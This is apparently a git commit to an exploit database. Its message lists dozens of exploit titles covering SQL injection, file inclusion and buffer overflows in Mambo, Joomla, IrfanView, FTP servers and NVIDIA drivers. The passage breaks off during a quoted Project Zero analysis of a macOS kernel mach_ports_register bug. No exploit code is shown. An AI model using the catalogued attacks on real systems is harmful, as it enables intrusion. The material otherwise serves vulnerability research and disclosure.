DB: 2016-11-01
24 new exploits Serendipity 0.7-beta1 - SQL Injection (PoC) S9Y Serendipity 0.7-beta1 - SQL Injection (PoC) Serendipity 0.8beta4 - exit.php SQL Injection S9Y Serendipity 0.8beta4 - exit.php SQL Injection CBSms Mambo Module 1.0 - Remote File Inclusion Pearl For Mambo 1.6 - Multiple Remote File Inclusion Mambo Module CBSms 1.0 - Remote File Inclusion Mambo Component Pearl 1.6 - Multiple Remote File Inclusion galleria Mambo Module 1.0b - Remote File Inclusion Mambo Module galleria 1.0b - Remote File Inclusion SimpleBoard Mambo Component 1.1.0 - Remote File Inclusion com_forum Mambo Component 1.2.4RC3 - Remote File Inclusion Mambo Component SimpleBoard 1.1.0 - Remote File Inclusion Mambo Component com_forum 1.2.4RC3 - Remote File Inclusion com_videodb Mambo Component 0.3en - Remote File Inclusion SMF Forum Mambo Component 1.3.1.3 - Include com_extcalendar Mambo Component 2.0 - Include com_loudmouth Mambo Component 4.0j - Include pc_cookbook Mambo Component 0.3 - Include perForms Mambo Component 1.0 - Remote File Inclusion com_hashcash Mambo Component 1.2.1 - Include HTMLArea3 Mambo Module 1.5 - Remote File Inclusion Sitemap Mambo Component 2.0.0 - Remote File Inclusion pollxt Mambo Component 1.22.07 - Remote File Inclusion MiniBB Mambo Component 1.5a - Remote File Inclusion Mambo Component com_videodb 0.3en - Remote File Inclusion Mambo Component SMF Forum 1.3.1.3 - Remote File Inclusion Mambo Component 'com_extcalendar' 2.0 - Remote File Inclusion Mambo Component com_loudmouth 4.0j - Remote File Inclusion Mambo Component pc_cookbook 0.3 - Remote File Inclusion Mambo Component perForms 1.0 - Remote File Inclusion Mambo Component com_hashcash 1.2.1 - Remote File Inclusion Mambo Module HTMLArea3 1.5 - Remote File Inclusion Mambo Component Sitemap 2.0.0 - Remote File Inclusion Mambo Component pollxt 1.22.07 - Remote File Inclusion Mambo Component MiniBB 1.5a - Remote File Inclusion MoSpray Mambo Component 18RC1 - Remote File Inclusion Mambo Component MoSpray 18RC1 - Remote File Inclusion Mam-Moodle Mambo Component alpha - Remote File Inclusion Mambo Component Mam-Moodle alpha - Remote File Inclusion multibanners Mambo Component 1.0.1 - Remote File Inclusion Mambo Component multibanners 1.0.1 - Remote File Inclusion PrinceClan Chess Mambo Com 0.8 - Remote File Inclusion Mambo Component PrinceClan Chess 0.8 - Remote File Inclusion a6mambohelpdesk Mambo Component 18RC1 - Include Mambo Component 'com_a6mambohelpdesk' 18RC1 - Remote File Inclusion Mambo Security Images Component 3.0.5 - Inclusion Mambo MGM Component 0.95r2 - Remote File Inclusion Mambo Colophon Component 1.2 - Remote File Inclusion Mambo mambatStaff Component 3.1b - Remote File Inclusion Mambo Component Security Images 3.0.5 - Inclusion Mambo Component MGM 0.95r2 - Remote File Inclusion Mambo Component 'com_colophon' 1.2 - Remote File Inclusion Mambo Component mambatStaff 3.1b - Remote File Inclusion Mambo User Home Pages Component 0.5 - Remote File Inclusion Mambo Component User Home Pages 0.5 - Remote File Inclusion Mambo Remository Component 3.25 - Remote File Inclusion Mambo Component Remository 3.25 - Remote File Inclusion Mambo mmp Component 1.2 - Remote File Inclusion Mambo Component MMP 1.2 - Remote File Inclusion Mambo Peoplebook Component 1.0 - Remote File Inclusion Mambo Component Peoplebook 1.0 - Remote File Inclusion Mambo CopperminePhotoGalery Component - Remote File Inclusion Mambo Component CopperminePhotoGalery - Remote File Inclusion Mambo mambelfish Component 1.1 - Remote File Inclusion Mambo Component mambelfish 1.1 - Remote File Inclusion Mambo phpShop Component 1.2 RC2b - File Inclusion Mambo a6mambocredits Component 1.0.0 - File Inclusion Mambo Component 'com_phpshop' 1.2 RC2b - File Inclusion Mambo Component 'com_a6mambocredits' 1.0.0 - File Inclusion Mambo MamboWiki Component 0.9.6 - Remote File Inclusion Mambo Component MamboWiki 0.9.6 - Remote File Inclusion Mambo cropimage Component 1.0 - Remote File Inclusion Mambo Component cropimage 1.0 - Remote File Inclusion Mambo com_lurm_constructor Component 0.6b - Include Mambo Component com_lurm_constructor 0.6b - Remote File Inclusion mambo com_babackup Component 1.1 - File Inclusion Mambo Component com_babackup 1.1 - File Inclusion Mambo com_serverstat Component 0.4.4 - File Inclusion Mambo Component com_serverstat 0.4.4 - File Inclusion Coppermine Photo Gallery 1.2.2b (Nuke Addon) - Include Coppermine Photo Gallery 1.2.2b (Nuke Addon) - Remote File Inclusion Mambo com_registration_detailed 4.1 - Remote File Inclusion Mambo Component com_registration_detailed 4.1 - Remote File Inclusion MambWeather Mambo Module 1.8.1 - Remote File Inclusion Mambo Module MambWeather 1.8.1 - Remote File Inclusion com_flyspray Mambo Com. <= 1.0.1 - Remote File Disclosure Mambo Component com_flyspray <= 1.0.1 - Remote File Disclosure Serendipity 1.0.3 - 'comment.php' Local File Inclusion S9Y Serendipity 1.0.3 - 'comment.php' Local File Inclusion Hewlett-Packard FTP Print Server 2.4.5 - Buffer Overflow (PoC) Hewlett-Packard (HP) FTP Print Server 2.4.5 - Buffer Overflow (PoC) mambo Component nfnaddressbook 0.4 - Remote File Inclusion Mambo Component nfnaddressbook 0.4 - Remote File Inclusion Joomla! / Mambo Component SWmenuFree 4.0 - Remote File Inclusion Joomla! / Mambo Component 'com_swmenupro' 4.0 - Remote File Inclusion Irfanview 3.99 - '.ani' Local Buffer Overflow (1) IrfanView 3.99 - '.ani' Local Buffer Overflow (1) Irfanview 3.99 - '.ani' Local Buffer Overflow (2) IrfanView 3.99 - '.ani' Local Buffer Overflow (2) Joomla! / Mambo Component Taskhopper 1.1 - Remote File Inclusion Joomla! / Mambo Component 'com_thopper' 1.1 - Remote File Inclusion Joomla! / Mambo Component article 1.1 - Remote File Inclusion Joomla! / Mambo Component 'com_articles' 1.1 - Remote File Inclusion Irfanview 4.00 - '.iff' Buffer Overflow IrfanView 4.00 - '.iff' Buffer Overflow Mambo com_yanc 1.4 Beta - 'id' SQL Injection Mambo Component com_yanc 1.4 Beta - 'id' SQL Injection Joomla! / Mambo Component rsgallery 2.0b5 - 'catid' SQL Injection Joomla! / Mambo Component 'com_rsgallery' 2.0b5 - 'catid' SQL Injection Irfanview 4.10 - '.fpx' Memory Corruption IrfanView 4.10 - '.fpx' Memory Corruption Mambo 4.5 'com_newsletter' - 'listid' Parameter SQL Injection Mambo 'com_fq' - 'listid' Parameter SQL Injection Mambo 'com_mamml' - 'listid' Parameter SQL Injection Mambo Component Glossary 2.0 - 'catid' SQL Injection Mambo Component 'com_newsletter' 4.5 - 'listid' Parameter SQL Injection Mambo Component 'com_fq' - 'listid' Parameter SQL Injection Mambo Component 'com_mamml' - 'listid' Parameter SQL Injection Mambo Component 'com_glossary' 2.0 - 'catid' SQL Injection Mambo Component AkoGallery 2.5b - SQL Injection Mambo Component Catalogshop 1.0b1 - SQL Injection Mambo Component 'com_akogallery' 2.5b - SQL Injection Mambo Component 'com_catalogshop' 1.0b1 - SQL Injection Mambo Component Awesom 0.3.2 - (listid) SQL Injection Mambo Component 'com_awesom' 0.3.2 - (listid) SQL Injection Mambo Component Portfolio 1.0 - 'categoryId' SQL Injection Mambo Component 'com_portfolio' 1.0 - 'categoryId' SQL Injection Mambo Component accombo 1.x - 'id' SQL Injection Mambo Component 'com_accombo' 1.x - 'id' SQL Injection Mambo Component ahsShop 1.51 - (vara) SQL Injection Mambo Component 'com_ahsshop' 1.51 - 'vara' Parameter SQL Injection Mambo Component Galleries 1.0 - (aid) SQL Injection Mambo Component 'com_galleries' 1.0 - 'aid' Parameter SQL Injection Mambo 4.6.4 - (Output.php) Remote File Inclusion Mambo 4.6.4 - 'Output.php' Remote File Inclusion Mambo Component Articles - (artid) Blind SQL Injection Mambo Component 'articles' - 'artid' Parameter Blind SQL Injection Mambo Component n-gallery - Multiple SQL Injections Mambo Component 'com_n-gallery' - Multiple SQL Injections Irfanview 3.99 - IFF File Local Stack Buffer Overflow IrfanView 3.99 - '.IFF' File Local Stack Buffer Overflow Mambo Component n-form - (form_id) Blind SQL Injection Mambo Component 'com_n-forms' - 'form_id' Parameter Blind SQL Injection Mambo com_sim 0.8 - Blind SQL Injection Mambo Component 'com_sim' 0.8 - Blind SQL Injection Mambo Component com_hestar - SQL Injection Mambo Component 'com_hestar' - SQL Injection Mambo com_koesubmit 1.0.0 - Remote File Inclusion Mambo Component com_koesubmit 1.0.0 - Remote File Inclusion Joomla! / Mambo Component Tupinambis - SQL Injection Joomla! / Mambo Component 'com_tupinambis' - SQL Injection Joomla! / Mambo Component com_ezine 2.1 - Remote File Inclusion Joomla! / Mambo Component 'com_ezine' 2.1 - Remote File Inclusion Mambo Component Material Suche 1.0 - SQL Injection Mambo Component 'com_materialsuche' 1.0 - SQL Injection Mambo com_akogallery - SQL Injection Mambo Component 'com_akogallery' - SQL Injection Mambo Component com_acnews - [id] SQL Injection Mambo Component 'com_acnews' - 'id' Parameter SQL Injection Mambo Component com_mambads - SQL Injection Mambo Component 'com_mambads' - SQL Injection Rumba ftp Client 4.2 - PASV Buffer Overflow (SEH) Rumba FTP Client 4.2 - PASV Buffer Overflow (SEH) Serendipity 1.5.4 - Arbitrary File Upload S9Y Serendipity 1.5.4 - Arbitrary File Upload Irfanview 4.27 - 'JP2000.dll' plugin Denial of Service IrfanView 4.27 - 'JP2000.dll' plugin Denial of Service Irfanview 4.28 - Multiple Denial of Service Vulnerabilities IrfanView 4.28 - Multiple Denial of Service Vulnerabilities Irfanview 4.28 - ICO With Transparent Colour Denial of Service & RDenial of Service Irfanview 4.28 - ICO Without Transparent Colour Denial of Service & RDenial of Service IrfanView 4.28 - .ICO With Transparent Colour Denial of Service / Remote Denial of Service IrfanView 4.28 - .ICO Without Transparent Colour Denial of Service / Remote Denial of Service PCMan FTP Server Buffer Overflow - PUT Command (Metasploit) PCMan FTP Server Buffer Overflow - 'PUT' Command (Metasploit) Mambo CMS 4.6.x - (4.6.5) SQL Injection Mambo 4.6.x < 4.6.5 - SQL Injection Mambo CMS 4.x - (Zorder) SQL Injection Mambo 4.x - 'Zorder' SQL Injection Irfanview - '.tiff' Image Processing Buffer Overflow IrfanView - '.tiff' Image Processing Buffer Overflow Irfanview FlashPix PlugIn - Double-Free IrfanView FlashPix PlugIn - Double-Free Irfanview FlashPix PlugIn - Decompression Heap Overflow IrfanView FlashPix PlugIn - Decompression Heap Overflow Serendipity 1.6 - Backend Cross-Site Scripting / SQL Injection S9Y Serendipity 1.6 - (Backend) Cross-Site Scripting / SQL Injection Irfanview 4.33 - Format PlugIn ECW Decompression Heap Overflow IrfanView 4.33 - Format PlugIn ECW Decompression Heap Overflow Irfanview 4.33 - Format PlugIn TTF File Parsing Stack Based Overflow IrfanView 4.33 - Format PlugIn .TTF File Parsing Stack Based Overflow Irfanview 4.33 - '.DJVU' Image Processing Heap Overflow IrfanView 4.33 - '.DJVU' Image Processing Heap Overflow Irfanview JLS Formats PlugIn - Heap Overflow IrfanView JLS Formats PlugIn - Heap Overflow Irfanview JPEG2000 4.3.2.0 - jp2 Stack Buffer Overflow (Metasploit) IrfanView JPEG2000 4.3.2.0 - jp2 Stack Buffer Overflow (Metasploit) Irfan Skiljan IrfanView32 3.0.7 - Image File Buffer Overflow IrfanView32 3.0.7 - Image File Buffer Overflow Joomla! Component Event Booking 2.10.1 - SQL Injection Joomla! Component 'com_eventbooking' 2.10.1 - SQL Injection Joomla! Component Huge-IT Video Gallery 1.0.9 - SQL Injection Joomla! Component 'com_videogallerylite' 1.0.9 - SQL Injection Irfanview - '.RLE' Image Decompression Buffer Overflow Irfanview - '.TIF' Image Decompression Buffer Overflow IrfanView - '.RLE' Image Decompression Buffer Overflow IrfanView - '.TIF' Image Decompression Buffer Overflow Irfanview 4.33 - 'IMXCF.dll' Plugin Code Execution IrfanView 4.33 - 'IMXCF.dll' Plugin Code Execution Serendipity 0.x - exit.php HTTP Response Splitting S9Y Serendipity 0.x - 'exit.php' HTTP Response Splitting PCMan FTP Server 2.07 - PASS Command Buffer Overflow PCMan FTP Server 2.07 - 'PASS' Command Buffer Overflow PCMan FTP Server 2.07 - STOR Command Buffer Overflow PCMan FTP Server 2.07 - 'STOR' Command Buffer Overflow freeFTPd 1.0.10 - 'PASS' Buffer Overflow (SEH) freeFTPd 1.0.10 - 'PASS' SEH Buffer Overflow Joomla! Component VirtueMart 2.0.22a - SQL Injection Joomla! Component 'com_virtuemart' 2.0.22a - SQL Injection phpBB 1.2.4 For Mambo - Multiple Remote File Inclusion Mambo Componen phpBB 1.2.4 - Multiple Remote File Inclusion Calendar Module 1.5.7 For Mambo - Com_Calendar.php Remote File Inclusion Mambo Module Calendar 1.5.7 - 'Com_Calendar.php' Remote File Inclusion PCMan FTP Server 2.07 - STOR Command Stack Overflow (Metasploit) PCMan FTP Server 2.07 - 'STOR' Command Stack Overflow (Metasploit) Irfanview 3.98 - '.ANI' Image File Denial of Service IrfanView 3.98 - '.ANI' Image File Denial of Service Reporter 1.0 Mambo Component - Reporter.sql.php Remote File Inclusion Mambo Component Reporter 1.0 - 'Reporter.sql.php' Remote File Inclusion Mambo LMTG Myhomepage 1.2 Component - Multiple Remote File Inclusion Mambo Rssxt Component 1.0 - MosConfig_absolute_path Multiple Remote File Inclusion Mambo Component 'lmtg_myhomepage' 1.2 - Multiple Remote File Inclusion Mambo Component 'com_rssxt' 1.0 - 'MosConfig_absolute_path' Parameter Multiple Remote File Inclusion Mambo Display MOSBot Manager Component - MosConfig_absolute_path Remote File Inclusion Mambo Component 'com_admin-copy_module' - 'MosConfig_absolute_path' Parameter Remote File Inclusion Mambo EstateAgent 1.0.2 Component - MosConfig_absolute_path Remote File Inclusion Mambo Component EstateAgent 1.0.2 - MosConfig_absolute_path Remote File Inclusion Joomla! / Mambo Component Com_comprofiler 1.0 - class.php Remote File Inclusion Joomla! / Mambo Component 'com_comprofiler' 1.0 - 'class.php' Remote File Inclusion Hewlett-Packard 2620 Switch Series. Edit Admin Account - Cross-Site Request Forgery Hewlett-Packard (HP) 2620 Switch Series. Edit Admin Account - Cross-Site Request Forgery Mambo MostlyCE 4.5.4 - HTMLTemplate.php Remote File Inclusion Mambo Module MOStlyCE 4.5.4 - HTMLTemplate.php Remote File Inclusion Irfanview 3.99 - Multiple BMP Denial of Service Vulnerabilities IrfanView 3.99 - Multiple .BMP Denial of Service Vulnerabilities Joomla! / Mambo Component Mod_Forum - PHPBB_Root.php Remote File Inclusion Joomla! / Mambo Component Mod_Forum - 'PHPBB_Root.php' Remote File Inclusion Mambo MOStlyCE 2.4 Module - 'connector.php' Cross-Site Scripting Mambo Module MOStlyCE 2.4 - 'connector.php' Cross-Site Scripting Mambo MOStlyCE Module 2.4 Image Manager Utility - Arbitrary File Upload Mambo Module MOStlyCE 2.4 Image Manager Utility - Arbitrary File Upload Serendipity Freetag-plugin 2.95 - 'style' Parameter Cross-Site Scripting S9Y Serendipity Freetag-plugin 2.95 - 'style' Parameter Cross-Site Scripting Joomla! Extension Komento 1.7.2 - Persistent Cross-Site Scripting Joomla! Extension JV Comment 3.0.2 - (index.php id Parameter) SQL Injection Joomla! Component 'com_komento' 1.7.2 - Persistent Cross-Site Scripting Joomla! Component 'com_jvcomment' 3.0.2 - 'id' Parameter SQL Injection Joomla! / Mambo Component com_sg - 'pid' Parameter SQL Injection Joomla! / Mambo Component 'com_sg' - 'pid' Parameter SQL Injection Joomla! / Mambo Component com_salesrep - 'rid' Parameter SQL Injection Joomla! / Mambo Component 'com_salesrep' - 'rid' Parameter SQL Injection Joomla! / Mambo Component com_filebase - 'filecatid' Parameter SQL Injection Joomla! / Mambo Component com_scheduling - 'id' Parameter SQL Injection Joomla! / Mambo Component 'com_filebase' - 'filecatid' Parameter SQL Injection Joomla! / Mambo Component 'com_scheduling' - 'id' Parameter SQL Injection Joomla! / Mambo Component com_profile - 'oid' Parameter SQL Injection Joomla! / Mambo Component 'com_profile' - 'oid' Parameter SQL Injection Joomla! / Mambo Component com_detail - 'id' Parameter SQL Injection Joomla! / Mambo Component 'com_detail' - 'id' Parameter SQL Injection PCMan FTP Server 2.07 - ABOR Command Buffer Overflow PCMan FTP Server 2.07 - CWD Command Buffer Overflow PCMan FTP Server 2.07 - 'ABOR' Command Buffer Overflow PCMan FTP Server 2.07 - 'CWD' Command Buffer Overflow Joomla! Component JomSocial 2.6 - Code Execution Joomla! Component 'com_community' 2.6 - Code Execution Joomla! / Mambo Component Datsogallery 1.3.1 - 'id' Parameter SQL Injection Joomla! / Mambo Component 'com_datsogallery' 1.3.1 - 'id' Parameter SQL Injection Serendipity 1.7.5 (Backend) - Multiple Vulnerabilities S9Y Serendipity 1.7.5 - (Backend) Multiple Vulnerabilities Joomla! / Mambo Component Joomlaearn Lms - 'cat' Parameter SQL Injection Joomla! / Mambo Component 'com_lms' - 'cat' Parameter SQL Injection Joomla! / Mambo Component gigCalendar 1.0 - 'banddetails.php' SQL Injection Joomla! / Mambo Component 'com_gigcal' 1.0 - 'banddetails.php' SQL Injection Joomla! Component YouTube Gallery - SQL Injection Joomla! Component 'com_youtubegallery' - SQL Injection Joomla! Component Spider Form Maker 3.4 - SQL Injection Joomla! Component 'com_formmaker' 3.4 - SQL Injection Joomla! Component Spider Calendar 3.2.6 - SQL Injection Joomla! Component 'com_spidercalendar' 3.2.6 - SQL Injection Joomla! Component Spider Contacts 1.3.6 - (index.php contacts_id Parameter)SQL Injection Joomla! Component 'com_spidercontacts' 1.3.6 - 'contacts_id' Parameter SQL Injection Joomla! Component Face Gallery 1.0 - Multiple Vulnerabilities Joomla! Component Mac Gallery 1.5 - Arbitrary File Download Joomla! Component 'com_facegallery' 1.0 - Multiple Vulnerabilities Joomla! Component 'com_macgallery' 1.5 - Arbitrary File Download Joomla! Component HD FLV Player < 2.1.0.1 - SQL Injection Joomla! Component 'com_hdflvplayer' < 2.1.0.1 - SQL Injection Joomla! Component HD FLV Player < 2.1.0.1 - Arbitrary File Download Joomla! Component 'com_hdflvplayer' < 2.1.0.1 - Arbitrary File Download Mambo - 'com_docman' 1.3.0 Component Multiple SQL Injection Mambo Component 'com_docman' 1.3.0 - Multiple SQL Injection Serendipity Freetag-plugin 3.21 - 'index.php' Cross-Site Scripting S9Y Serendipity Freetag-plugin 3.21 - 'index.php' Cross-Site Scripting Mambo CMS 4.6.x - Multiple Cross-Site Scripting Vulnerabilities Mambo 4.6.x - Multiple Cross-Site Scripting Vulnerabilities Hewlett-Packard UCMDB - JMX-Console Authentication Bypass Hewlett-Packard (HP) UCMDB - JMX-Console Authentication Bypass PCMan FTP Server 2.0.7 - Buffer Overflow MKD Command PCMan FTP Server 2.0.7 - 'MKD' Command Buffer Overflow Mambo CMS 4.6.5 - 'index.php' Cross-Site Request Forgery Mambo 4.6.5 - 'index.php' Cross-Site Request Forgery Serendipity 1.5.1 - 'research_display.php' SQL Injection S9Y Serendipity 1.5.1 - 'research_display.php' SQL Injection Mambo CMS N-Skyrslur - Cross-Site Scripting Mambo Component 'com_n-skyrslur' - Cross-Site Scripting Mambo CMS N-Gallery Component - SQL Injection Mambo CMS AHS Shop Component - SQL Injection Mambo Component 'com_n-gallery' - SQL Injection Mambo Component 'com_ahsshop' - SQL Injection Mambo CMS N-Press Component - SQL Injection Mambo Component 'com_n-press' - SQL Injection Mambo CMS N-Frettir Component - SQL Injection Mambo CMS N-Myndir Component - SQL Injection Mambo Component 'com_n-frettir' - SQL Injection Mambo Component 'com_n-myndir' - SQL Injection Serendipity Freetag-plugin 3.23 - 'serendipity[tagview]' Cross-Site Scripting S9Y Serendipity Freetag-plugin 3.23 - 'serendipity[tagview]' Cross-Site Scripting Serendipity 1.5.5 - 'serendipity[filter][bp.ALT]' Parameter Cross-Site Scripting S9Y Serendipity 1.5.5 - 'serendipity[filter][bp.ALT]' Parameter Cross-Site Scripting Joomla! Component Simple Photo Gallery 1.0 - Arbitrary File Upload Joomla! Component 'com_simplephotogallery' 1.0 - Arbitrary File Upload Joomla! Component Simple Photo Gallery 1.0 - SQL Injection Joomla! Component 'com_simplephotogallery' 1.0 - SQL Injection Joomla! Plugin eCommerce-WD 1.2.5 - SQL Injection Joomla! Component 'com_ecommercewd' 1.2.5 - SQL Injection Joomla! Component Spider FAQ - SQL Injection Joomla! Component 'com_spiderfaq' - SQL Injection Joomla! Component Gallery WD - SQL Injection Joomla! Component Contact Form Maker 1.0.1 - SQL Injection Joomla! Component 'com_gallery_wd' - SQL Injection Joomla! Component 'com_contactformmaker' 1.0.1 - SQL Injection Joomla! Component Spider Random Article - SQL Injection Joomla! Component 'com_rand' - SQL Injection Joomla! Component SimpleImageUpload - Arbitrary File Upload Joomla! Component 'com_simpleimageupload' - Arbitrary File Upload Joomla! Component DOCman - Multiple Vulnerabilities Joomla! Component 'com_docman' - Multiple Vulnerabilities Joomla! Plugin Helpdesk Pro < 1.4.0 - Multiple Vulnerabilities Joomla! Component 'com_helpdeskpro' < 1.4.0 - Multiple Vulnerabilities PCMan FTP Server 2.0.7 - PUT Command Buffer Overflow PCMan FTP Server 2.0.7 - 'PUT' Command Buffer Overflow Joomla! Component Event Manager 2.1.4 - Multiple Vulnerabilities Joomla! Component 'com_jem' 2.1.4 - Multiple Vulnerabilities Joomla! Component com_memorix - SQL Injection Joomla! Component com_informations - SQL Injection Joomla! Component 'com_memorix' - SQL Injection Joomla! Component 'com_informations' - SQL Injection PCMan FTP Server 2.0.7 - GET Command Buffer Overflow PCMan FTP Server 2.0.7 - 'GET' Command Buffer Overflow PCMan FTP Server 2.0.7 - RENAME Command Buffer Overflow PCMan FTP Server 2.0.7 - 'RENAME' Command Buffer Overflow Joomla! Component Real Estate Manager 3.7 - SQL Injection Joomla! Component 'com_realestatemanager' 3.7 - SQL Injection Joomla! Extension Realtyna RPL 8.9.2 - Multiple SQL Injections Joomla! Extension Realtyna RPL 8.9.2 - Persistent Cross-Site Scripting / Cross-Site Request Forgery Joomla! Component 'com_rpl' 8.9.2 - Multiple SQL Injections Joomla! Component 'com_rpl' 8.9.2 - Persistent Cross-Site Scripting / Cross-Site Request Forgery Joomla! Component JNews (com_jnews) 8.5.1 - SQL Injection Joomla! Component 'com_jnews' 8.5.1 - SQL Injection Serendipity 1.6.2 - 'serendipity_admin_image_selector.php' Cross-Site Scripting S9Y Serendipity 1.6.2 - 'serendipity_admin_image_selector.php' Cross-Site Scripting Joomla! Component JVideoClip - 'uid' Parameter SQL Injection Joomla! Component 'com_jvideoclip' - 'uid' Parameter SQL Injection Joomla! Component Content History - SQL Injection / Remote Code Execution (Metasploit) Joomla! Component 'com_contenthistory' - SQL Injection / Remote Code Execution (Metasploit) Joomla! Component Maian15 - 'name' Parameter Arbitrary File Upload Joomla! Component 'com_maian15' - 'name' Parameter Arbitrary File Upload Joomla! Component Aclsfgpl - 'index.php' Arbitrary File Upload Joomla! Component 'com_aclsfgpl' - 'index.php' Arbitrary File Upload Joomla! Component Wire Immogest - 'index.php' SQL Injection Joomla! Component 'com_wire_immogest' - 'index.php' SQL Injection Joomla! Component Almond Classifieds - Arbitrary File Upload Joomla! Component 'com_aclassfb' - Arbitrary File Upload Joomla! Extension Sexy Polling - 'answer_id' Parameter SQL Injection Joomla! Component 'com_sexypolling' - 'answer_id' Parameter SQL Injection Joomla! 1.5 < 3.4.5 - Object Injection x-forwarded-for Header Remote Code Execution Joomla! 1.5 < 3.4.5 - Object Injection 'x-forwarded-for' Header Remote Code Execution Joomla! Plugin Projoom NovaSFH - 'upload.php' Arbitrary File Upload Joomla! Component 'com_novasfh' - 'upload.php' Arbitrary File Upload Joomla! Component Inneradmission - 'index.php' SQL Injection Joomla! Component 'com_inneradmission' - 'index.php' SQL Injection Joomla! Extension Spider Video Player - 'theme' Parameter SQL Injection Joomla! Component 'spidervideoplayer' - 'theme' Parameter SQL Injection Joomla! Extension JSN Poweradmin 2.3.0 - Multiple Vulnerabilities Joomla! Component 'com_poweradmin' 2.3.0 - Multiple Vulnerabilities Joomla! Component Easy YouTube Gallery 1.0.2 - SQL Injection Joomla! Component 'com_easy_youtube_gallery' 1.0.2 - SQL Injection PCMan FTP Server 2.0.7 - RENAME Command Buffer Overflow (Metasploit) PCMan FTP Server 2.0.7 - 'RENAME' Command Buffer Overflow (Metasploit) Joomla! Extension SecurityCheck 2.8.9 - Multiple Vulnerabilities Joomla! Component 'SecurityCheck' 2.8.9 - Multiple Vulnerabilities Joomla! Extension PayPlans (com_payplans) 3.3.6 - SQL Injection Joomla! Component 'com_payplans' 3.3.6 - SQL Injection Joomla! Component En Masse (com_enmasse) 5.1 < 6.4 - SQL Injection Joomla! Component 'com_enmasse' 5.1 < 6.4 - SQL Injection Joomla! Component BT Media (com_bt_media) - SQL Injection Joomla! Component 'com_bt_media' - SQL Injection Joomla! Component Publisher Pro (com_publisher) - SQL Injection Joomla! Component 'com_publisher' - SQL Injection Joomla! Component Guru Pro (com_guru) - SQL Injection PCMAN FTP 2.0.7 - ls Command Buffer Overflow (Metasploit) Joomla! Component 'com_guru' - SQL Injection PCMAN FTP Server 2.0.7 - 'ls' Command Buffer Overflow (Metasploit) Microsoft GDI+ - DecodeCompressedRLEBitmap Invalid Pointer Arithmetic Out-of-Bounds Write (MS16-097) Microsoft GDI+ - ValidateBitmapInfo Invalid Pointer Arithmetic Out-of-Bounds Reads (MS16-097) Microsoft GDI+ - EMR_EXTTEXTOUTA and EMR_POLYTEXTOUTA Heap Based Buffer Overflow (MS16-097) Microsoft Windows - GDI+ DecodeCompressedRLEBitmap Invalid Pointer Arithmetic Out-of-Bounds Write (MS16-097) Microsoft Windows - GDI+ ValidateBitmapInfo Invalid Pointer Arithmetic Out-of-Bounds Reads (MS16-097) Microsoft Windows - GDI+ EMR_EXTTEXTOUTA and EMR_POLYTEXTOUTA Heap Based Buffer Overflow (MS16-097) Windows - NtLoadKeyEx Read Only Hive Arbitrary File Write Privilege Escalation (MS16-124) Microsoft Windows - NtLoadKeyEx Read Only Hive Arbitrary File Write Privilege Escalation (MS16-124) freeFTPd 1.0.8 - 'mkd' Command Denial Of Service Micro Focus Rumba 9.4 - Local Denial Of Service Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow S9Y Serendipity 2.0.4 - Cross-Site Scripting Rumba FTP Client 4.x - Stack buffer overflow (SEH) Apple OS X Kernel - IOBluetoothFamily.kext Use-After-Free OS X/iOS Kernel - IOSurface Use-After-Free OS X/iOS - mach_ports_register Multiple Memory Safety Issues NVIDIA Driver - UVMLiteController ioctl Handling Unchecked Input/Output Lengths Privilege Escalation NVIDIA Driver - Escape Code Leaks Uninitialised ExAllocatePoolWithTag Memory to Userspace NVIDIA Driver - Unchecked Write to User-Provided Pointer in Escape 0x700010d NVIDIA Driver - No Bounds Checking in Escape 0x7000194 NVIDIA Driver - Unchecked Write to User-Provided Pointer in Escape 0x600000D NVIDIA Driver - NvStreamKms Stack Buffer Overflow in PsSetCreateProcessNotifyRoutineEx Callback Privilege Escalation NVIDIA Driver - Escape 0x100010b Missing Bounds Check NVIDIA Driver - No Bounds Checking in Escape 0x7000170 NVIDIA Driver - Unchecked User-Provided Pointer in Escape 0x5000027 NVIDIA Driver - Incorrect Bounds Check in Escape 0x70001b2 NVIDIA Driver - Missing Bounds Check in Escape 0x100009a NVIDIA Driver - Missing Bounds Check in Escape 0x70000d5 NVIDIA Driver - Stack Buffer Overflow in Escape 0x7000014 NVIDIA Driver - Stack Buffer Overflow in Escape 0x10000e9 MacOS 10.12 - 'task_t' Privilege Escalation PCMAN FTP Server 2.0.7 - 'DELETE' Command Buffer Overflow
This commit is contained in:
Offensive Security
parent
3130ef8f9b
commit
18f707fb94
28 changed files with 2221 additions and 213 deletions
94
platforms/multiple/dos/40654.txt
Executable file
94
platforms/multiple/dos/40654.txt
Executable file
|
|
@ -0,0 +1,94 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=882
|
||||
|
||||
mach_ports_register is a kernel task port MIG method.
|
||||
|
||||
It's defined in MIG like this:
|
||||
|
||||
routine mach_ports_register(
|
||||
target_task : task_t;
|
||||
init_port_set : mach_port_array_t =
|
||||
^array[] of mach_port_t);
|
||||
|
||||
Looking at the generated code for this we notice something kinda weird; here's the mach message structure
|
||||
which actually gets sent:
|
||||
|
||||
typedef struct {
|
||||
mach_msg_header_t Head;
|
||||
// start of the kernel processed data
|
||||
mach_msg_body_t msgh_body;
|
||||
mach_msg_ool_ports_descriptor_t init_port_set;
|
||||
// end of the kernel processed data
|
||||
NDR_record_t NDR;
|
||||
mach_msg_type_number_t init_port_setCnt;
|
||||
} Request __attribute__((unused));
|
||||
|
||||
The message contains an OOL ports descriptor, which is expected, but also contains a separate init_port_setCnt value
|
||||
even though the ool_ports_descriptor_t already has the correct length of the descriptor.
|
||||
|
||||
When the kernel process this ool ports descriptor in ipc_kmsg_copyin_ool_ports_descriptor it will kalloc a buffer large enough
|
||||
for all the ports and then copyin and convert them all. It does this using the init_port_set.count value, not init_port_setCnt.
|
||||
|
||||
The generated MIG code however calls mach_ports_register like this:
|
||||
|
||||
OutP->RetCode = mach_ports_register(target_task, (mach_port_array_t)(In0P->init_port_set.address), In0P->init_port_setCnt);
|
||||
|
||||
without verifying that In0P->init_port_setCnt is equal to init_port_set.count.
|
||||
|
||||
This means that when we reach mach_ports_register lots of stuff goes wrong:
|
||||
|
||||
kern_return_t
|
||||
mach_ports_register(
|
||||
task_t task,
|
||||
mach_port_array_t memory, <-- points to kalloc'ed buffer
|
||||
mach_msg_type_number_t portsCnt) <-- completely controlled, not related to size of kalloc'ed buffer
|
||||
{
|
||||
ipc_port_t ports[TASK_PORT_REGISTER_MAX];
|
||||
unsigned int i;
|
||||
|
||||
if ((task == TASK_NULL) ||
|
||||
(portsCnt > TASK_PORT_REGISTER_MAX) ||
|
||||
(portsCnt && memory == NULL))
|
||||
